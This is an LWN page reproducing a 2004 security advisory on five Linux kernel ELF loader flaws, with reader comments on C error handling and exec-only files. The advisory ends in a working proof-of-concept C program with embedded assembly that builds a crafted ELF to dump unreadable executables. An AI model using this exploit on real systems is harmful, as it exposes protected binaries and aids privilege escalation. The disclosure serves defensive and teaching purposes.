|
|
Subscribe / Log in / New account

Some Linux kernel security vulnerabilities

From:  Paul Starzetz <ihaquer-AT-isec.pl>
To:  full-disclosure-AT-lists.netsys.com, <bugtraq-AT-securityfocus.com>
Subject:  Linux ELF loader vulnerabilities
Date:  Wed, 10 Nov 2004 12:59:25 +0100 (CET)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Synopsis:  Linux kernel binfmt_elf loader vulnerabilities
Product:   Linux kernel
Version:   2.4 up to to and including 2.4.27, 2.6 up to to and
           including 2.6.8
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
CVE:       not assigned
Author:    Paul Starzetz <ihaquer@isec.pl>
Date:      Nov 10, 2004


Issue:
======

Numerous  bugs  have  been  found  in  the Linux ELF binary loader while
handling setuid binaries.


Details:
========

On Unix like systems the execve(2) system call provides functionality to
replace  the  current process by a new one (usually found in binary form
on the disk) or in other words to execute a new program.

Internally the Linux  kernel  uses  a  binary  format  loader  layer  to
implement  the  low level format dependend functionality of the execve()
system call. The common execve code contains just few  helper  functions
used  to  load  the  new binary and leaves the format specific work to a
specialized binary format loader.

One of the Linux format loaders is  the  ELF  (Executable  and  Linkable
Format)  loader.  Nowadays ELF is the standard format for Linux binaries
besides the a.out binary format, which is not used in practice  anymore.

One  of  the  functions  of a binary format loader is to properly handle
setuid executables, that is executables with the setuid bit set  on  the
file  system  image  of  the executable. It allows execution of programs
under a different user ID than the user issuing the execve call  but  is
some lacy work from security point of view.

Every ELF binary contains an ELF header defining the type and the layout
of the program in memory  as  well  as  addition  sections  (like  which
program interpreter to load, symbot table, etc). The ELF header normally
contains information about the entry point (start address) of the binary
and the position of the memory map header (phdr) in the binary image and
the program  interpreter  (that  is  normally  the  dynamic  linker  ld-
linux.so).  The  memory  map  header  definies the memory mapping of the
executable file that can be seen later from /proc/self/maps.

We have indentified 5 different flaws in the  Linux  ELF  binary  loader
(linux/fs/binfmt_elf.c all line numbers for 2.4.27):


1)  wrong  return value check while filling kernel buffers (loop to scan
the binary header for an interpreter section):

static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
       size = elf_ex.e_phnum * sizeof(struct elf_phdr);
       elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
       if (!elf_phdata)
              goto out;

477:   retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
       if (retval < 0)
              goto out_free_ph;

The above code looks good on the  first  glance,  however  checking  the
return  value  of  kernel_read (which calls file->f_op->read) to be non-
negative is not sufficient since a read() can perfectly return less than
the  requested  buffer  size  bytes. This bug happens also on lines 301,
523, 545 respectively.


2) incorrect on error behaviour, if the mmap() call fails (loop to  mmap
binary sections into memory):

645:   for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
684:          error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
              if (BAD_ADDR(error))
                     continue;


3)  bad return value vulnerability while mapping the program intrepreter
into memory:

301:   retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);
       error = retval;
       if (retval < 0)
              goto out_close;

       eppnt = elf_phdata;
       for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
           map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
322:       if (BAD_ADDR(map_addr))
              goto out_close;
out_close:
       kfree(elf_phdata);
out:
       return error;
}


4) the loaded interpreter section can contain an interpreter name string
without the terminating NULL:

508:        for (i = 0; i < elf_ex.e_phnum; i++) {
518:                 elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
                                                           GFP_KERNEL);
                        if (!elf_interpreter)
                                goto out_free_file;

                        retval = kernel_read(bprm->file, elf_ppnt->p_offset,
                                           elf_interpreter,
                                           elf_ppnt->p_filesz);
                        if (retval < 0)
                                goto out_free_interp;


5)  bug  in  the  common  execve()  code  in  exec.c:  vulnerability  in
open_exec() permitting reading of non-readable ELF binaries,  which  can
be triggered by requesting the file in the ELF PT_INTERP section:

541:          interpreter = open_exec(elf_interpreter);
              retval = PTR_ERR(interpreter);
              if (IS_ERR(interpreter))
                     goto out_free_interp;
              retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);


Discussion:
=============

1)  The  Linux  man  pages state that a read(2) can return less than the
requested number of bytes, even zero. It  is  not  clear  how  this  can
happen  while  reading  a  disk  file  (in contrast to network sockets),
however here some thoughts:

- - if we trick read to fill the elf_phdata buffer  with  less  than  size
bytes,  the remaining part of the buffer will contain some garbage data,
that is data from the previous kernel object, which occupied that memory
area.

Therefore  we  could  arbitrarily modify the memory layout of the binary
supplying a suitable header  information  in  the  kernel  buffer.  This
should  be  sufficient  to  gain controll over the flow of execution for
most of the setuid binaries around.

- - on Linux a disk read goes through the page cache. That is, a disk read
can  easily  fail  on  a page boundary due to a low memory condition. In
this case read will return less than the requested number of  bytes  but
still indicate success (ret>0).

- -  most  of  the  standard  setuid  binaries  on  a  'normal' i386 Linux
installation have ELF headers stored below the  4096th  byte,  therefore
they are probably not exploitable on i386 architecture.


2) This bug can lead to a incorrectly mmaped binary image in the memory.
There are various reasons why a mmap() call can fail:

- - a temporary low memory condition, so that the allocation of a new  VMA
descriptor fails

- -  memory  limit  (RLIMIT_AS) excedeed, which can be easily manpipulated
before calling execve()

- - file locks held for the binary file in question

Security implications in the case of a setuid binary are quite  obvious:
we  may  end  up with a binary without the .text or .bss section or with
those sections shifted (in the case they are not 'fixed'  sections).  It
is  not  clear  which  standard  binaries  are exploitable however it is
sufficient that at some point we come over some instructions  that  jump
into  the  environment area due to malformed memory layout and gain full
controll over the setuid application.


3) This bug is similar to 2) however the code  incorrectly  returns  the
kernel_read  status  to  the calling function on mmap failure which will
assume that the program interpreter has been loaded. That means that the
kernel  will  start  the  execution of the binary file itself instead of
calling the program interpreter (linker) that have to finish the  binary
loading from user space.

We  have  found  that  standard  Linux  (i386, GCC 2.95) setuid binaries
contain code that will jump to the EIP=0 address and crash (since  there
is no virtual memory mapped there), however this may vary from binary to
binary as well from architecture  to  architecture  and  may  be  easily
exploitable.


4) This bug leads to internal kernel file system functions beeing called
with an argument string  exceeding  the  maximum  path  size  in  length
(PATH_MAX). It is not clear if this condition is exploitable.

An  user may try to execute such a malicious binary with an unterminated
interpreter name string and trick the kernel memory manager to return  a
memory  chunk  for  the  elf_interpreter variable followed by a suitable
longish path name (like ./././....). Our experiments show  that  it  can
lead to a preceivable system hang.


5)  This  bug  is  similar  to the shared file table race [1]. We give a
proof-of-concept code at the end of this article that  just  core  dumps
the non-readable but executable ELF file.

An user may create a manipulated ELF binary that requests a non-readable
but executable file as program intrepreter and gain read access  to  the
privileged  binary.  This  works  only  if the file is a valid ELF image
file, so it is not possible to read a data file that has the execute bit
set  but the read bit cleared. A common usage would be to read exec-only
setuid binaries to gain offsets for further exploitation.


Impact:
=======

Unprivileged users may gain elevated (root) privileges.


Credits:
========

Paul Starzetz <ihaquer@isec.pl> has  identified  the  vulnerability  and
performed  further  research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH  EXPRESS  PERMISSION  OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This  document and all the information it contains are provided "as is",
for educational purposes only, without warranty  of  any  kind,  whether
express or implied.

The  authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of  the  information   provided  in
this  document.  Liability  claims regarding damage caused by the use of
any information provided, including any kind  of  information  which  is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
 *
 *	binfmt_elf executable file read vulnerability
 *
 *	gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <linux/elf.h>


#define BADNAME "/tmp/_elf_dump"



void usage(char *s)
{
	printf("\nUsage: %s executable\n\n", s);
	exit(0);
}

//	ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
//		"1:		jmp 1b \n"
		"		xorl	%edi, %edi		\n"
		"		movl	%esp, %esi		\n"
		"		xorl	%edx, %edx		\n"
		"		xorl	%ebp, %ebp		\n"
		"		call	get_addr		\n"

		"		movl	%esi, %esp		\n"
		"		movl	%edi, %ebp		\n"
		"		jmp	inst_sig		\n"

		"get_addr:	popl	%ecx			\n"

//	sighand
		"inst_sig:	xorl	%eax, %eax		\n"
		"		movl	$11, %ebx		\n"
		"		movb	$48, %al		\n"
		"		int	$0x80			\n"

		"ld_page:	movl	%ebp, %eax		\n"
		"		subl	%edx, %eax		\n"
		"		cmpl	$0x1000, %eax		\n"
		"		jle	ld_page2		\n"

//	mprotect
		"		pusha				\n"
		"		movl	%edx, %ebx		\n"
		"		addl 	$0x1000, %ebx		\n"
		"		movl	%eax, %ecx		\n"
		"		xorl	%eax, %eax		\n"
		"		movb	$125, %al		\n"
		"		movl	$7, %edx		\n"
		"		int	$0x80			\n"
		"		popa				\n"

		"ld_page2:	addl	$0x1000, %edi		\n"
		"		cmpl	$0xc0000000, %edi	\n"
		"		je	dump			\n"
		"		movl	%ebp, %edx		\n"
		"		movl	(%edi), %eax		\n"
		"		jmp	ld_page			\n"

		"dump:		xorl	%eax, %eax		\n"
		"		xorl	%ecx, %ecx		\n"
		"		movl	$11, %ebx		\n"
		"		movb	$48, %al		\n"
		"		int	$0x80			\n"
		"		movl	$0xdeadbeef, %eax	\n"
		"		jmp	*(%eax)			\n"

	);
}


static volatile void bad_code_end(void)
{
}


int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

	if(ac<2)
		usage(av[0]);

//	make bad a.out
	fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
	nl = strlen(av[1])+1;
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 2;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header(s)
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_INTERP;
	eph.p_offset = sizeof(eh) + 2*sizeof(eph);
	eph.p_filesz = nl;
	write(fd, &eph, sizeof(eph) );

	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = 0x0000;
	eph.p_flags = PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	.interp
	write(fd, av[1], nl );

//	execable code
	nl = &bad_code_end - &bad_code;
	lseek(fd, 4096, SEEK_SET);
	write(fd, &bad_code, 4096);
	close(fd);

//	dump the shit
	rl.rlim_cur = RLIM_INFINITY;
	rl.rlim_max = RLIM_INFINITY;
	if( setrlimit(RLIMIT_CORE, &rl) )
		perror("\nsetrlimit failed");
	fflush(stdout);
	pid = fork();
	if(pid)
		wait(NULL);
	else
		execl(BADNAME, BADNAME, NULL);

	printf("\ncore dumped!\n\n");
	unlink(BADNAME);

return 0;
}

- -- 
Paul Starzetz
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFBkgKiC+8U3Z5wpu4RAts9AKCYBrBfOXG/XuTdKr7Aw/WKJwIBUgCffAvH
NgTqTlQ2xmIfX6P5JXMpqqs=
=WF4V
-----END PGP SIGNATURE-----




to post comments

Some Linux kernel security vulnerabilities

Posted Nov 10, 2004 21:58 UTC (Wed) by ibukanov (subscriber, #3942) [Link] (13 responses)

These vulnerabilities are interesting in that they do not involve buffer overflows or access to uninitialized memory. In fact they would present if that code would be Python or Java etc.

I am not sure that even sophisticated preconditions/postconditions with design-by-contract programming in Eiffel would prevent them.

So the question is what tools/techniques can help to track such bugs automatically?

Some Linux kernel security vulnerabilities

Posted Nov 10, 2004 22:42 UTC (Wed) by NAR (subscriber, #1313) [Link] (12 responses)

In fact they would present if that code would be Python or Java etc. [...] So the question is what tools/techniques can help to track such bugs automatically?

I'm way too sleepy to understand the mentioned bugs but it looks to me that the basic problem is that in C lots of functions use the return value to indicate error and to return valuable data. Its consequence is that it's easy to mess it up (classic examples are the atoi() and inet_addr()) while in e.g. Java, a call like read() returns the read data like in C, but when there is an error, it throws an IOException that the developer must handle.

Bye,NAR

Some Linux kernel security vulnerabilities

Posted Nov 10, 2004 23:09 UTC (Wed) by clugstj (subscriber, #4020) [Link] (1 responses)

No, not MUST handle, can handle. Imagine the chaos if an unhandled exception occurred in the kernel.

Some Linux kernel security vulnerabilities

Posted Nov 10, 2004 23:27 UTC (Wed) by khim (subscriber, #9252) [Link]

Java will not compile code with unhandled exceptions so, yes must handle indeed. Unfortunatelly there are some exceptions which can be ignored (like overflow in i++). Not sure if it's good thing or bad thing.

Some Linux kernel security vulnerabilities

Posted Nov 10, 2004 23:35 UTC (Wed) by iabervon (subscriber, #722) [Link] (4 responses)

Some of the bugs are failures to handle short reads correctly, which would apply to any system (not language; it's a question of the behavior of the code) which could return some data without returning all of it.

Some are returning a non-error when responding to an error condition. This is reasonably easy to do if you're catching exceptions, but less likely because you can just declare the exception in your throws clause and avoid resignalling the error. It is still possible to end your catch block with "return;" instead of "throw e;" when you want to do something in the error path but resignal the same error.

There's something leading to a minor memory error, which would probably be blocked in Java.

The last one is an actual logic error: the kernel checks whether you can execute a file, and then reads it into your address space without checking whether you can read it.

It would be interesting to see if sparse could be extended to know whether the kernel has any good reason to believe strings to be terminated. Off the top of my head, it seems like it could keep track of this, assuming you want to be paranoid, which is wise in any case.

Some Linux kernel security vulnerabilities

Posted Nov 12, 2004 2:01 UTC (Fri) by giraffedata (guest, #1954) [Link] (3 responses)

The last one is an actual logic error: the kernel checks whether you can execute a file, and then reads it into your address space without checking whether you can read it.

That isn't per se an error. Unix is designed to have it possible for a file to be loaded into your address space that you don't have read permission to -- an execute-only file.

Maybe the designer here thought that it would be impossible for the user to see the contents of the address space; i.e. that the program interpreter could be execute-only like any other program.

I can't tell from the paper just what the bug or the exploit is, so I can't say what the real nature of the error is, though.

Some Linux kernel security vulnerabilities

Posted Nov 12, 2004 17:57 UTC (Fri) by iabervon (subscriber, #722) [Link] (2 responses)

IIRC, you should only be able to access a --x file by calling exec on it, which will cause the process to be replaced with the code loaded from the file. It replaces your address space, so it's never in "your" address space ("you" in this case being code of your choice; the address space will be still associated with your uid). The bug here is that you can cause a program with your code (rwx) to try to use a --x file as a dynamic linker. When it crashes, which it probably will as a --x file isn't going to be intended as a dynamic linker, the contents are in the core dump. If it doesn't crash, the program can read it.

exec-only ELF interpreter

Posted Nov 13, 2004 18:38 UTC (Sat) by giraffedata (guest, #1954) [Link] (1 responses)

The dynamic linker gets called like any other program (you can exec() it if you want), so it's not obvious that e.g. /sbin/mount would crash if you named it as the ELF interpreter (dynamic linker) for your program /home/hacker/hack. It would just complain about nonsensical arguments. And since /sbin/mount will definitely not transfer control to the text of /home/hacker/hack, said program can't look at the text of /sbin/mount.

I believe there is some black magic that keeps the text of /sbin/mount from ending up in a core dump file if it is --x and you run it the normal way and it crashes. Maybe that black magic is missing for the case that /sbin/mount is running in place of the dynamic linker. I know the execute-only concept is fragile; people are warned not to rely on it.

It seems reasonable to me that Linux would be designed to allow for --x dynamic linkers.

exec-only ELF interpreter

Posted Nov 14, 2004 0:14 UTC (Sun) by iabervon (subscriber, #722) [Link]

You can exec() the dynamic linker if you want, but that's not what dynamically linked executables do. It's a bit confusing, because the dynamic linker these days is also a program which will dynamically link and run its argument. However, it doesn't work for everything: if you do /lib/ld.so /sbin/mount, it will complain that it can't read /sbin/mount (since it can't). For that matter, this doesn't give root priviledges to setuid programs, since the dynamic linker isn't setuid, and the program isn't being execed. Actually, the main reason that the dynamic linker is executable is so that ldd can call it to get the info. (Also, don't confuse this with the shell interpreter, where it execs the interpreter with standard in redirected from the file).

In fact, the kernel loads the interpreter as well as loading the program you called exec() on, and runs the program with the interpreter loaded into memory in a predictable way. Actually, I think a statically linked program which specified an interpreter would just have that file loaded for it, and could just read it without executing it.

I know that setuid programs don't dump core; non-readable ones might behave the same way (/sbin/mount is both).

Some Linux kernel security vulnerabilities

Posted Nov 10, 2004 23:57 UTC (Wed) by jwb (guest, #15467) [Link] (4 responses)

I agree that this is a common trap in C programming. Instead of:

return_value_or_status = function(args);

I prefer to see:

status = function(&return_value, args);

Which also has the advantage that more than one value can be returned. read(2), in particular, is almost impossible to use, and this goes for all Unix across all time, not just for Linux. The conflation of the file position and the status of the result is very confusing. And, if read returns -1, there's absolutely nothing you can do about it without closing the fd and starting from scratch (because the file position becomes undefined).

Okay, the whole Unix API is hard to use, and so is C ;)

file position after error from read()

Posted Nov 11, 2004 0:39 UTC (Thu) by jreiser (subscriber, #11027) [Link]

And, if read returns -1, there's absolutely nothing you can do about it without closing the fd and starting from scratch (because the file position becomes undefined).

In most cases (EAGAIN, EISDIR, EBADF, EINVAL, EFAULT, and non-POSIX EINTR) you can interpret errno and resume. Only for EIO or for POSIX EINTR is there the possibility of undefined position, and some of that is due to POSIX allowing the kernel a choice of what to do with EINTR. As long as the fd is seekable and the error condition is transient, then the program can recover by seeking to any previous known-good position [the program must track such positions] and resuming. Also, if the fd is seekable then the current position can be determined using lseek(fd, (off_t)0, SEEK_CUR). All in all, that is a long way from being forced to close the fd and start from scratch. In practice, read() on a disk file is very well behaved, especially for reads of 1 sector. [Reading from a socket is different.]

Some Linux kernel security vulnerabilities

Posted Nov 11, 2004 3:58 UTC (Thu) by uriel (guest, #20754) [Link] (2 responses)

As usual, this was fixed in Plan 9 many years ago.

Some Linux kernel security vulnerabilities

Posted Nov 11, 2004 14:42 UTC (Thu) by melauer (guest, #2438) [Link]

> As usual, this was fixed in Plan 9 many years ago.

The pencil and paper which I use as a word processor doesn't have these vulnerabilities either. Now that's secure design!

Some Linux kernel security vulnerabilities

Posted Nov 11, 2004 16:06 UTC (Thu) by smurf (subscriber, #17840) [Link]

> As usual, this was fixed in Plan 9 many years ago.

I don't know about the in-kernel stuff, but Plan9's basic read() system call doesn't differ much from common Unix semantics -- including short reads -- and thus I kindof doubt that the inside is different.


Copyright © 2004, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds